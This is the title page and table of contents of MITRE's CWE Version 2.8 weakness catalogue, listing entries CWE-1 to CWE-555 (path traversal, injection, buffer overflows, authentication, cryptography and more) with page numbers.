



## **CWE Version 2.8**

Edited by:

Steven Christey Coley, Ryan P. Glenn, Janis E. Kenderdine,  
and John M. Mazella

Project Lead:

Robert A. Martin

**MITRE**

**CWE Version 2.8**  
**2014-07-31**

*CWE is a Software Assurance strategic initiative sponsored by the National  
Cyber Security Division of the U.S. Department of Homeland Security*

Copyright 2014, The MITRE Corporation

CWE and the CWE logo are trademarks of The MITRE Corporation  
**Contact [cwe@mitre.org](mailto:cwe@mitre.org) for more information**

# Table of Contents

<b>Symbols Used in CWE</b> .....	<b>xxi</b>
<b>Individual CWE Definitions</b>	
CWE-1: Location.....	1
CWE-2: Environment.....	1
CWE-3: Technology-specific Environment Issues.....	1
CWE-4: J2EE Environment Issues.....	2
CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption.....	2
CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length.....	3
CWE-7: J2EE Misconfiguration: Missing Custom Error Page.....	5
CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote.....	6
CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods.....	7
CWE-10: ASP.NET Environment Issues.....	8
CWE-11: ASP.NET Misconfiguration: Creating Debug Binary.....	8
CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page.....	9
CWE-13: ASP.NET Misconfiguration: Password in Configuration File.....	11
CWE-14: Compiler Removal of Code to Clear Buffers.....	12
CWE-15: External Control of System or Configuration Setting.....	14
CWE-16: Configuration.....	15
CWE-17: Code.....	17
CWE-18: Source Code.....	17
CWE-19: Data Handling.....	18
CWE-20: Improper Input Validation.....	18
CWE-21: Pathname Traversal and Equivalence Errors.....	29
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').....	30
CWE-23: Relative Path Traversal.....	40
CWE-24: Path Traversal: './filedir'.....	45
CWE-25: Path Traversal: '/../filedir'.....	46
CWE-26: Path Traversal: '/dir/./filename'.....	48
CWE-27: Path Traversal: 'dir/././filename'.....	49
CWE-28: Path Traversal: './filedir'.....	51
CWE-29: Path Traversal: './filename'.....	52
CWE-30: Path Traversal: 'dir/./filename'.....	54
CWE-31: Path Traversal: 'dir/././filename'.....	55
CWE-32: Path Traversal: '...' (Triple Dot).....	57
CWE-33: Path Traversal: '...' (Multiple Dot).....	58
CWE-34: Path Traversal: '.../'.....	60
CWE-35: Path Traversal: '.../...'.....	62
CWE-36: Absolute Path Traversal.....	64
CWE-37: Path Traversal: '/absolute/pathname/here'.....	67
CWE-38: Path Traversal: '\\absolute\\pathname\\here'.....	68
CWE-39: Path Traversal: 'C:dirname'.....	70
CWE-40: Path Traversal: '\\UNC\\share\\name' (Windows UNC Share).....	72
CWE-41: Improper Resolution of Path Equivalence.....	73
CWE-42: Path Equivalence: 'filename.' (Trailing Dot).....	78
CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot).....	79
CWE-44: Path Equivalence: 'file.name' (Internal Dot).....	79
CWE-45: Path Equivalence: 'file...name' (Multiple Internal Dot).....	80
CWE-46: Path Equivalence: 'filename ' (Trailing Space).....	80
CWE-47: Path Equivalence: ' filename' (Leading Space).....	81
CWE-48: Path Equivalence: 'file name' (Internal Whitespace).....	82
CWE-49: Path Equivalence: 'filename/' (Trailing Slash).....	83
CWE-50: Path Equivalence: '//multiple/leading/slash'.....	83
CWE-51: Path Equivalence: '/multiple//internal/slash'.....	84
CWE-52: Path Equivalence: '/multiple/trailing/slash/'.....	85
CWE-53: Path Equivalence: '\\multiple\\internal\\backslash'.....	86
CWE-54: Path Equivalence: 'filedir\' (Trailing Backslash).....	86
CWE-55: Path Equivalence: './.' (Single Dot Directory).....	87
CWE-56: Path Equivalence: 'filedir*' (Wildcard).....	88

CWE-57: Path Equivalence: 'fakedir/./readdir/filename'.....	89
CWE-58: Path Equivalence: Windows 8.3 Filename.....	90
CWE-59: Improper Link Resolution Before File Access ('Link Following').....	91
CWE-60: UNIX Path Link Problems.....	94
CWE-61: UNIX Symbolic Link (Symlink) Following.....	95
CWE-62: UNIX Hard Link.....	96
CWE-63: Windows Path Link Problems.....	98
CWE-64: Windows Shortcut Following (.LNK).....	98
CWE-65: Windows Hard Link.....	100
CWE-66: Improper Handling of File Names that Identify Virtual Resources.....	101
CWE-67: Improper Handling of Windows Device Names.....	103
CWE-68: Windows Virtual File Problems.....	104
CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream.....	105
CWE-70: Mac Virtual File Problems.....	106
CWE-71: Apple '.DS_Store'.....	106
CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path.....	107
CWE-73: External Control of File Name or Path.....	109
CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection').....	113
CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection).....	116
CWE-76: Improper Neutralization of Equivalent Special Elements.....	116
CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection').....	117
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').....	121
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').....	131
CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS).....	142
CWE-81: Improper Neutralization of Script in an Error Message Web Page.....	144
CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page.....	146
CWE-83: Improper Neutralization of Script in Attributes in a Web Page.....	147
CWE-84: Improper Neutralization of Encoded URI Schemes in a Web Page.....	149
CWE-85: Doubled Character XSS Manipulations.....	151
CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages.....	152
CWE-87: Improper Neutralization of Alternate XSS Syntax.....	154
CWE-88: Argument Injection or Modification.....	155
CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').....	159
CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection').....	169
CWE-91: XML Injection (aka Blind XPath Injection).....	170
CWE-92: DEPRECATED: Improper Sanitization of Custom Special Characters.....	172
CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection').....	172
CWE-94: Improper Control of Generation of Code ('Code Injection').....	173
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection').....	177
CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection').....	181
CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page.....	183
CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion').....	184
CWE-99: Improper Control of Resource Identifiers ('Resource Injection').....	190
CWE-100: Technology-Specific Input Validation Problems.....	192
CWE-101: Struts Validation Problems.....	193
CWE-102: Struts: Duplicate Validation Forms.....	193
CWE-103: Struts: Incomplete validate() Method Definition.....	194
CWE-104: Struts: Form Bean Does Not Extend Validation Class.....	196
CWE-105: Struts: Form Field Without Validator.....	198
CWE-106: Struts: Plug-in Framework not in Use.....	200
CWE-107: Struts: Unused Validation Form.....	202
CWE-108: Struts: Unvalidated Action Form.....	204
CWE-109: Struts: Validator Turned Off.....	205
CWE-110: Struts: Validator Without Form Field.....	206
CWE-111: Direct Use of Unsafe JNI.....	208
CWE-112: Missing XML Validation.....	210
CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting').....	211
CWE-114: Process Control.....	215



CWE-115: Misinterpretation of Input.....	217
CWE-116: Improper Encoding or Escaping of Output.....	217
CWE-117: Improper Output Neutralization for Logs.....	223
CWE-118: Improper Access of Indexable Resource ('Range Error').....	225
CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer.....	226
CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow').....	234
CWE-121: Stack-based Buffer Overflow.....	242
CWE-122: Heap-based Buffer Overflow.....	245
CWE-123: Write-what-where Condition.....	248
CWE-124: Buffer Underwrite ('Buffer Underflow').....	250
CWE-125: Out-of-bounds Read.....	253
CWE-126: Buffer Over-read.....	254
CWE-127: Buffer Under-read.....	256
CWE-128: Wrap-around Error.....	257
CWE-129: Improper Validation of Array Index.....	258
CWE-130: Improper Handling of Length Parameter Inconsistency .....	266
CWE-131: Incorrect Calculation of Buffer Size.....	269
CWE-132: DEPRECATED (Duplicate): Miscalculated Null Termination.....	277
CWE-133: String Errors.....	277
CWE-134: Uncontrolled Format String.....	277
CWE-135: Incorrect Calculation of Multi-Byte String Length.....	282
CWE-136: Type Errors.....	284
CWE-137: Representation Errors.....	284
CWE-138: Improper Neutralization of Special Elements.....	285
CWE-139: DEPRECATED: General Special Element Problems.....	287
CWE-140: Improper Neutralization of Delimiters.....	287
CWE-141: Improper Neutralization of Parameter/Argument Delimiters.....	289
CWE-142: Improper Neutralization of Value Delimiters.....	290
CWE-143: Improper Neutralization of Record Delimiters.....	291
CWE-144: Improper Neutralization of Line Delimiters.....	293
CWE-145: Improper Neutralization of Section Delimiters.....	294
CWE-146: Improper Neutralization of Expression/Command Delimiters.....	296
CWE-147: Improper Neutralization of Input Terminators.....	297
CWE-148: Improper Neutralization of Input Leaders.....	298
CWE-149: Improper Neutralization of Quoting Syntax.....	299
CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences.....	301
CWE-151: Improper Neutralization of Comment Delimiters.....	302
CWE-152: Improper Neutralization of Macro Symbols.....	304
CWE-153: Improper Neutralization of Substitution Characters.....	305
CWE-154: Improper Neutralization of Variable Name Delimiters.....	307
CWE-155: Improper Neutralization of Wildcards or Matching Symbols.....	308
CWE-156: Improper Neutralization of Whitespace.....	309
CWE-157: Failure to Sanitize Paired Delimiters.....	311
CWE-158: Improper Neutralization of Null Byte or NUL Character.....	312
CWE-159: Failure to Sanitize Special Element.....	314
CWE-160: Improper Neutralization of Leading Special Elements.....	316
CWE-161: Improper Neutralization of Multiple Leading Special Elements.....	317
CWE-162: Improper Neutralization of Trailing Special Elements.....	319
CWE-163: Improper Neutralization of Multiple Trailing Special Elements.....	320
CWE-164: Improper Neutralization of Internal Special Elements.....	321
CWE-165: Improper Neutralization of Multiple Internal Special Elements.....	323
CWE-166: Improper Handling of Missing Special Element.....	324
CWE-167: Improper Handling of Additional Special Element.....	325
CWE-168: Improper Handling of Inconsistent Special Elements.....	326
CWE-169: Technology-Specific Special Elements.....	327
CWE-170: Improper Null Termination.....	328
CWE-171: Cleansing, Canonicalization, and Comparison Errors.....	332
CWE-172: Encoding Error.....	333
CWE-173: Improper Handling of Alternate Encoding.....	335
CWE-174: Double Decoding of the Same Data.....	336
CWE-175: Improper Handling of Mixed Encoding.....	338

CWE-176: Improper Handling of Unicode Encoding.....	339
CWE-177: Improper Handling of URL Encoding (Hex Encoding).....	341
CWE-178: Improper Handling of Case Sensitivity.....	343
CWE-179: Incorrect Behavior Order: Early Validation.....	345
CWE-180: Incorrect Behavior Order: Validate Before Canonicalize.....	347
CWE-181: Incorrect Behavior Order: Validate Before Filter.....	349
CWE-182: Collapse of Data into Unsafe Value.....	350
CWE-183: Permissive Whitelist.....	352
CWE-184: Incomplete Blacklist.....	352
CWE-185: Incorrect Regular Expression.....	355
CWE-186: Overly Restrictive Regular Expression.....	356
CWE-187: Partial Comparison.....	357
CWE-188: Reliance on Data/Memory Layout.....	359
CWE-189: Numeric Errors.....	360
CWE-190: Integer Overflow or Wraparound.....	361
CWE-191: Integer Underflow (Wrap or Wraparound).....	367
CWE-192: Integer Coercion Error.....	368
CWE-193: Off-by-one Error.....	371
CWE-194: Unexpected Sign Extension.....	375
CWE-195: Signed to Unsigned Conversion Error.....	377
CWE-196: Unsigned to Signed Conversion Error.....	380
CWE-197: Numeric Truncation Error.....	381
CWE-198: Use of Incorrect Byte Ordering.....	383
CWE-199: Information Management Errors.....	384
CWE-200: Information Exposure.....	384
CWE-201: Information Exposure Through Sent Data.....	387
CWE-202: Exposure of Sensitive Data Through Data Queries.....	389
CWE-203: Information Exposure Through Discrepancy.....	389
CWE-204: Response Discrepancy Information Exposure.....	392
CWE-205: Information Exposure Through Behavioral Discrepancy.....	394
CWE-206: Information Exposure of Internal State Through Behavioral Inconsistency.....	395
CWE-207: Information Exposure Through an External Behavioral Inconsistency.....	396
CWE-208: Information Exposure Through Timing Discrepancy.....	396
CWE-209: Information Exposure Through an Error Message.....	397
CWE-210: Information Exposure Through Self-generated Error Message.....	402
CWE-211: Information Exposure Through Externally-generated Error Message.....	403
CWE-212: Improper Cross-boundary Removal of Sensitive Data.....	405
CWE-213: Intentional Information Exposure.....	407
CWE-214: Information Exposure Through Process Environment.....	408
CWE-215: Information Exposure Through Debug Information.....	409
CWE-216: Containment Errors (Container Errors).....	410
CWE-217: DEPRECATED: Failure to Protect Stored Data from Modification.....	411
CWE-218: DEPRECATED (Duplicate): Failure to provide confidentiality for stored data.....	411
CWE-219: Sensitive Data Under Web Root.....	412
CWE-220: Sensitive Data Under FTP Root.....	412
CWE-221: Information Loss or Omission.....	413
CWE-222: Truncation of Security-relevant Information.....	414
CWE-223: Omission of Security-relevant Information.....	414
CWE-224: Obscured Security-relevant Information by Alternate Name.....	416
CWE-225: DEPRECATED (Duplicate): General Information Management Problems.....	417
CWE-226: Sensitive Information Uncleared Before Release.....	417
CWE-227: Improper Fulfillment of API Contract ('API Abuse').....	418
CWE-228: Improper Handling of Syntactically Invalid Structure.....	420
CWE-229: Improper Handling of Values.....	421
CWE-230: Improper Handling of Missing Values.....	422
CWE-231: Improper Handling of Extra Values.....	423
CWE-232: Improper Handling of Undefined Values.....	423
CWE-233: Improper Handling of Parameters.....	424
CWE-234: Failure to Handle Missing Parameter.....	425
CWE-235: Improper Handling of Extra Parameters.....	427
CWE-236: Improper Handling of Undefined Parameters.....	427

CWE-237: Improper Handling of Structural Elements.....	428
CWE-238: Improper Handling of Incomplete Structural Elements.....	428
CWE-239: Failure to Handle Incomplete Element.....	429
CWE-240: Improper Handling of Inconsistent Structural Elements.....	430
CWE-241: Improper Handling of Unexpected Data Type.....	430
CWE-242: Use of Inherently Dangerous Function.....	431
CWE-243: Creation of chroot Jail Without Changing Working Directory.....	433
CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection').....	434
CWE-245: J2EE Bad Practices: Direct Management of Connections.....	435
CWE-246: J2EE Bad Practices: Direct Use of Sockets.....	437
CWE-247: DEPRECATED (Duplicate): Reliance on DNS Lookups in a Security Decision.....	438
CWE-248: Uncaught Exception.....	438
CWE-249: DEPRECATED: Often Misused: Path Manipulation.....	439
CWE-250: Execution with Unnecessary Privileges.....	440
CWE-251: Often Misused: String Management.....	445
CWE-252: Unchecked Return Value.....	446
CWE-253: Incorrect Check of Function Return Value.....	451
CWE-254: Security Features.....	452
CWE-255: Credentials Management.....	453
CWE-256: Plaintext Storage of a Password.....	454
CWE-257: Storing Passwords in a Recoverable Format.....	456
CWE-258: Empty Password in Configuration File.....	458
CWE-259: Use of Hard-coded Password.....	459
CWE-260: Password in Configuration File.....	463
CWE-261: Weak Cryptography for Passwords.....	464
CWE-262: Not Using Password Aging.....	466
CWE-263: Password Aging with Long Expiration.....	467
CWE-264: Permissions, Privileges, and Access Controls.....	468
CWE-265: Privilege / Sandbox Issues.....	469
CWE-266: Incorrect Privilege Assignment.....	471
CWE-267: Privilege Defined With Unsafe Actions.....	473
CWE-268: Privilege Chaining.....	475
CWE-269: Improper Privilege Management.....	477
CWE-270: Privilege Context Switching Error.....	479
CWE-271: Privilege Dropping / Lowering Errors.....	480
CWE-272: Least Privilege Violation.....	482
CWE-273: Improper Check for Dropped Privileges.....	485
CWE-274: Improper Handling of Insufficient Privileges.....	487
CWE-275: Permission Issues.....	488
CWE-276: Incorrect Default Permissions.....	490
CWE-277: Insecure Inherited Permissions.....	492
CWE-278: Insecure Preserved Inherited Permissions.....	493
CWE-279: Incorrect Execution-Assigned Permissions.....	494
CWE-280: Improper Handling of Insufficient Permissions or Privileges .....	495
CWE-281: Improper Preservation of Permissions.....	496
CWE-282: Improper Ownership Management.....	497
CWE-283: Unverified Ownership.....	498
CWE-284: Improper Access Control.....	499
CWE-285: Improper Authorization.....	501
CWE-286: Incorrect User Management.....	507
CWE-287: Improper Authentication.....	507
CWE-288: Authentication Bypass Using an Alternate Path or Channel.....	512
CWE-289: Authentication Bypass by Alternate Name.....	513
CWE-290: Authentication Bypass by Spoofing.....	514
CWE-291: Reliance on IP Address for Authentication.....	517
CWE-292: DEPRECATED (Duplicate): Trusting Self-reported DNS Name.....	518
CWE-293: Using Referer Field for Authentication.....	518
CWE-294: Authentication Bypass by Capture-replay.....	520
CWE-295: Improper Certificate Validation.....	521
CWE-296: Improper Following of a Certificate's Chain of Trust.....	523
CWE-297: Improper Validation of Certificate with Host Mismatch.....	525

CWE-298: Improper Validation of Certificate Expiration.....	527
CWE-299: Improper Check for Certificate Revocation.....	528
CWE-300: Channel Accessible by Non-Endpoint ('Man-in-the-Middle').....	530
CWE-301: Reflection Attack in an Authentication Protocol.....	532
CWE-302: Authentication Bypass by Assumed-Immutable Data.....	533
CWE-303: Incorrect Implementation of Authentication Algorithm.....	535
CWE-304: Missing Critical Step in Authentication.....	535
CWE-305: Authentication Bypass by Primary Weakness.....	536
CWE-306: Missing Authentication for Critical Function.....	537
CWE-307: Improper Restriction of Excessive Authentication Attempts.....	541
CWE-308: Use of Single-factor Authentication.....	544
CWE-309: Use of Password System for Primary Authentication.....	545
CWE-310: Cryptographic Issues.....	547
CWE-311: Missing Encryption of Sensitive Data.....	548
CWE-312: Cleartext Storage of Sensitive Information.....	553
CWE-313: Cleartext Storage in a File or on Disk.....	556
CWE-314: Cleartext Storage in the Registry.....	557
CWE-315: Cleartext Storage of Sensitive Information in a Cookie.....	558
CWE-316: Cleartext Storage of Sensitive Information in Memory.....	559
CWE-317: Cleartext Storage of Sensitive Information in GUI.....	560
CWE-318: Cleartext Storage of Sensitive Information in Executable.....	561
CWE-319: Cleartext Transmission of Sensitive Information.....	562
CWE-320: Key Management Errors.....	564
CWE-321: Use of Hard-coded Cryptographic Key.....	565
CWE-322: Key Exchange without Entity Authentication.....	567
CWE-323: Reusing a Nonce, Key Pair in Encryption.....	568
CWE-324: Use of a Key Past its Expiration Date.....	569
CWE-325: Missing Required Cryptographic Step.....	570
CWE-326: Inadequate Encryption Strength.....	571
CWE-327: Use of a Broken or Risky Cryptographic Algorithm.....	573
CWE-328: Reversible One-Way Hash.....	578
CWE-329: Not Using a Random IV with CBC Mode.....	580
CWE-330: Use of Insufficiently Random Values.....	581
CWE-331: Insufficient Entropy.....	586
CWE-332: Insufficient Entropy in PRNG.....	587
CWE-333: Improper Handling of Insufficient Entropy in TRNG.....	588
CWE-334: Small Space of Random Values.....	589
CWE-335: PRNG Seed Error.....	591
CWE-336: Same Seed in PRNG.....	591
CWE-337: Predictable Seed in PRNG.....	592
CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG).....	593
CWE-339: Small Seed Space in PRNG.....	595
CWE-340: Predictability Problems.....	596
CWE-341: Predictable from Observable State.....	596
CWE-342: Predictable Exact Value from Previous Values.....	597
CWE-343: Predictable Value Range from Previous Values.....	598
CWE-344: Use of Invariant Value in Dynamically Changing Context.....	599
CWE-345: Insufficient Verification of Data Authenticity.....	600
CWE-346: Origin Validation Error.....	602
CWE-347: Improper Verification of Cryptographic Signature.....	604
CWE-348: Use of Less Trusted Source.....	605
CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data.....	607
CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action.....	608
CWE-351: Insufficient Type Distinction.....	610
CWE-352: Cross-Site Request Forgery (CSRF).....	611
CWE-353: Missing Support for Integrity Check.....	616
CWE-354: Improper Validation of Integrity Check Value.....	618
CWE-355: User Interface Security Issues.....	619
CWE-356: Product UI does not Warn User of Unsafe Actions.....	620
CWE-357: Insufficient UI Warning of Dangerous Operations.....	621
CWE-358: Improperly Implemented Security Check for Standard.....	621

CWE-359: Exposure of Private Information ('Privacy Violation').....	622
CWE-360: Trust of System Event Data.....	625
CWE-361: Time and State.....	626
CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition').....	627
CWE-363: Race Condition Enabling Link Following.....	633
CWE-364: Signal Handler Race Condition.....	635
CWE-365: Race Condition in Switch.....	639
CWE-366: Race Condition within a Thread.....	640
CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition.....	642
CWE-368: Context Switching Race Condition.....	645
CWE-369: Divide By Zero.....	647
CWE-370: Missing Check for Certificate Revocation after Initial Check.....	649
CWE-371: State Issues.....	650
CWE-372: Incomplete Internal State Distinction.....	651
CWE-373: DEPRECATED: State Synchronization Error.....	651
CWE-374: Passing Mutable Objects to an Untrusted Method.....	652
CWE-375: Returning a Mutable Object to an Untrusted Caller.....	654
CWE-376: Temporary File Issues.....	655
CWE-377: Insecure Temporary File.....	655
CWE-378: Creation of Temporary File With Insecure Permissions.....	658
CWE-379: Creation of Temporary File in Directory with Incorrect Permissions.....	659
CWE-380: Technology-Specific Time and State Issues.....	661
CWE-381: J2EE Time and State Issues.....	661
CWE-382: J2EE Bad Practices: Use of System.exit().....	661
CWE-383: J2EE Bad Practices: Direct Use of Threads.....	662
CWE-384: Session Fixation.....	663
CWE-385: Covert Timing Channel.....	666
CWE-386: Symbolic Name not Mapping to Correct Object.....	667
CWE-387: Signal Errors.....	668
CWE-388: Error Handling.....	669
CWE-389: Error Conditions, Return Values, Status Codes.....	670
CWE-390: Detection of Error Condition Without Action.....	671
CWE-391: Unchecked Error Condition.....	675
CWE-392: Missing Report of Error Condition.....	677
CWE-393: Return of Wrong Status Code.....	678
CWE-394: Unexpected Status Code or Return Value.....	679
CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference.....	680
CWE-396: Declaration of Catch for Generic Exception.....	682
CWE-397: Declaration of Throws for Generic Exception.....	683
CWE-398: Indicator of Poor Code Quality.....	684
CWE-399: Resource Management Errors.....	686
CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion').....	688
CWE-401: Improper Release of Memory Before Removing Last Reference ('Memory Leak').....	694
CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak').....	697
CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak').....	697
CWE-404: Improper Resource Shutdown or Release.....	699
CWE-405: Asymmetric Resource Consumption (Amplification).....	703
CWE-406: Insufficient Control of Network Message Volume (Network Amplification).....	704
CWE-407: Algorithmic Complexity.....	706
CWE-408: Incorrect Behavior Order: Early Amplification.....	707
CWE-409: Improper Handling of Highly Compressed Data (Data Amplification).....	708
CWE-410: Insufficient Resource Pool.....	709
CWE-411: Resource Locking Problems.....	710
CWE-412: Unrestricted Externally Accessible Lock.....	711
CWE-413: Improper Resource Locking.....	713
CWE-414: Missing Lock Check.....	716
CWE-415: Double Free.....	716
CWE-416: Use After Free.....	719
CWE-417: Channel and Path Errors.....	722
CWE-418: Channel Errors.....	722



CWE-419: Unprotected Primary Channel.....	723
CWE-420: Unprotected Alternate Channel.....	723
CWE-421: Race Condition During Access to Alternate Channel.....	724
CWE-422: Unprotected Windows Messaging Channel ('Shatter').....	725
CWE-423: DEPRECATED (Duplicate): Proxied Trusted Channel.....	726
CWE-424: Improper Protection of Alternate Path.....	727
CWE-425: Direct Request ('Forced Browsing').....	727
CWE-426: Untrusted Search Path.....	729
CWE-427: Uncontrolled Search Path Element.....	733
CWE-428: Unquoted Search Path or Element.....	736
CWE-429: Handler Errors.....	738
CWE-430: Deployment of Wrong Handler.....	738
CWE-431: Missing Handler.....	739
CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations.....	740
CWE-433: Unparsed Raw Web Content Delivery.....	741
CWE-434: Unrestricted Upload of File with Dangerous Type.....	742
CWE-435: Interaction Error.....	748
CWE-436: Interpretation Conflict.....	749
CWE-437: Incomplete Model of Endpoint Features.....	751
CWE-438: Behavioral Problems.....	752
CWE-439: Behavioral Change in New Version or Environment.....	752
CWE-440: Expected Behavior Violation.....	753
CWE-441: Unintended Proxy or Intermediary ('Confused Deputy').....	753
CWE-442: Web Problems.....	755
CWE-443: DEPRECATED (Duplicate): HTTP response splitting.....	756
CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling').....	756
CWE-445: User Interface Errors.....	759
CWE-446: UI Discrepancy for Security Feature.....	759
CWE-447: Unimplemented or Unsupported Feature in UI.....	760
CWE-448: Obsolete Feature in UI.....	761
CWE-449: The UI Performs the Wrong Action.....	761
CWE-450: Multiple Interpretations of UI Input.....	762
CWE-451: User Interface (UI) Misrepresentation of Critical Information.....	763
CWE-452: Initialization and Cleanup Errors.....	766
CWE-453: Insecure Default Variable Initialization.....	766
CWE-454: External Initialization of Trusted Variables or Data Stores.....	767
CWE-455: Non-exit on Failed Initialization.....	769
CWE-456: Missing Initialization of a Variable.....	770
CWE-457: Use of Uninitialized Variable.....	773
CWE-458: DEPRECATED: Incorrect Initialization.....	775
CWE-459: Incomplete Cleanup.....	775
CWE-460: Improper Cleanup on Thrown Exception.....	777
CWE-461: Data Structure Issues.....	778
CWE-462: Duplicate Key in Associative List (Alist).....	779
CWE-463: Deletion of Data Structure Sentinel.....	780
CWE-464: Addition of Data Structure Sentinel.....	781
CWE-465: Pointer Issues.....	782
CWE-466: Return of Pointer Value Outside of Expected Range.....	783
CWE-467: Use of sizeof() on a Pointer Type.....	784
CWE-468: Incorrect Pointer Scaling.....	786
CWE-469: Use of Pointer Subtraction to Determine Size.....	788
CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection').....	789
CWE-471: Modification of Assumed-Immutable Data (MAID).....	792
CWE-472: External Control of Assumed-Immutable Web Parameter.....	793
CWE-473: PHP External Variable Modification.....	796
CWE-474: Use of Function with Inconsistent Implementations.....	797
CWE-475: Undefined Behavior for Input to API.....	797
CWE-476: NULL Pointer Dereference.....	798
CWE-477: Use of Obsolete Functions.....	802
CWE-478: Missing Default Case in Switch Statement.....	804
CWE-479: Signal Handler Use of a Non-reentrant Function.....	807

CWE-480: Use of Incorrect Operator.....	809
CWE-481: Assigning instead of Comparing.....	811
CWE-482: Comparing instead of Assigning.....	814
CWE-483: Incorrect Block Delimitation.....	815
CWE-484: Omitted Break Statement in Switch.....	817
CWE-485: Insufficient Encapsulation.....	819
CWE-486: Comparison of Classes by Name.....	820
CWE-487: Reliance on Package-level Scope.....	822
CWE-488: Exposure of Data Element to Wrong Session.....	823
CWE-489: Leftover Debug Code.....	824
CWE-490: Mobile Code Issues.....	826
CWE-491: Public cloneable() Method Without Final ('Object Hijack').....	826
CWE-492: Use of Inner Class Containing Sensitive Data.....	827
CWE-493: Critical Public Variable Without Final Modifier.....	833
CWE-494: Download of Code Without Integrity Check.....	835
CWE-495: Private Array-Typed Field Returned From A Public Method.....	838
CWE-496: Public Data Assigned to Private Array-Typed Field.....	839
CWE-497: Exposure of System Data to an Unauthorized Control Sphere.....	840
CWE-498: Cloneable Class Containing Sensitive Information.....	842
CWE-499: Serializable Class Containing Sensitive Data.....	844
CWE-500: Public Static Field Not Marked Final.....	845
CWE-501: Trust Boundary Violation.....	846
CWE-502: Deserialization of Untrusted Data.....	847
CWE-503: Byte/Object Code.....	849
CWE-504: Motivation/Intent.....	850
CWE-505: Intentionally Introduced Weakness.....	850
CWE-506: Embedded Malicious Code.....	851
CWE-507: Trojan Horse.....	852
CWE-508: Non-Replicating Malicious Code.....	853
CWE-509: Replicating Malicious Code (Virus or Worm).....	854
CWE-510: Trapdoor.....	854
CWE-511: Logic/Time Bomb.....	856
CWE-512: Spyware.....	857
CWE-513: Intentionally Introduced Nonmalicious Weakness.....	857
CWE-514: Covert Channel.....	858
CWE-515: Covert Storage Channel.....	858
CWE-516: DEPRECATED (Duplicate): Covert Timing Channel.....	860
CWE-517: Other Intentional, Nonmalicious Weakness.....	860
CWE-518: Inadvertently Introduced Weakness.....	860
CWE-519: .NET Environment Issues.....	860
CWE-520: .NET Misconfiguration: Use of Impersonation.....	861
CWE-521: Weak Password Requirements.....	861
CWE-522: Insufficiently Protected Credentials.....	862
CWE-523: Unprotected Transport of Credentials.....	865
CWE-524: Information Exposure Through Caching.....	866
CWE-525: Information Exposure Through Browser Caching.....	867
CWE-526: Information Exposure Through Environmental Variables.....	868
CWE-527: Exposure of CVS Repository to an Unauthorized Control Sphere.....	868
CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere.....	869
CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere.....	870
CWE-530: Exposure of Backup File to an Unauthorized Control Sphere.....	870
CWE-531: Information Exposure Through Test Code.....	871
CWE-532: Information Exposure Through Log Files.....	872
CWE-533: Information Exposure Through Server Log Files.....	873
CWE-534: Information Exposure Through Debug Log Files.....	874
CWE-535: Information Exposure Through Shell Error Message.....	874
CWE-536: Information Exposure Through Servlet Runtime Error Message.....	875
CWE-537: Information Exposure Through Java Runtime Error Message.....	876
CWE-538: File and Directory Information Exposure.....	877
CWE-539: Information Exposure Through Persistent Cookies.....	878
CWE-540: Information Exposure Through Source Code.....	879

CWE-541: Information Exposure Through Include Source Code.....	880
CWE-542: Information Exposure Through Cleanup Log Files.....	881
CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context.....	882
CWE-544: Missing Standardized Error Handling Mechanism.....	883
CWE-545: Use of Dynamic Class Loading.....	884
CWE-546: Suspicious Comment.....	885
CWE-547: Use of Hard-coded, Security-relevant Constants.....	885
CWE-548: Information Exposure Through Directory Listing.....	887
CWE-549: Missing Password Field Masking.....	887
CWE-550: Information Exposure Through Server Error Message.....	888
CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization.....	889
CWE-552: Files or Directories Accessible to External Parties.....	889
CWE-553: Command Shell in Externally Accessible Directory.....	890
CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework.....	891
CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File.....	892
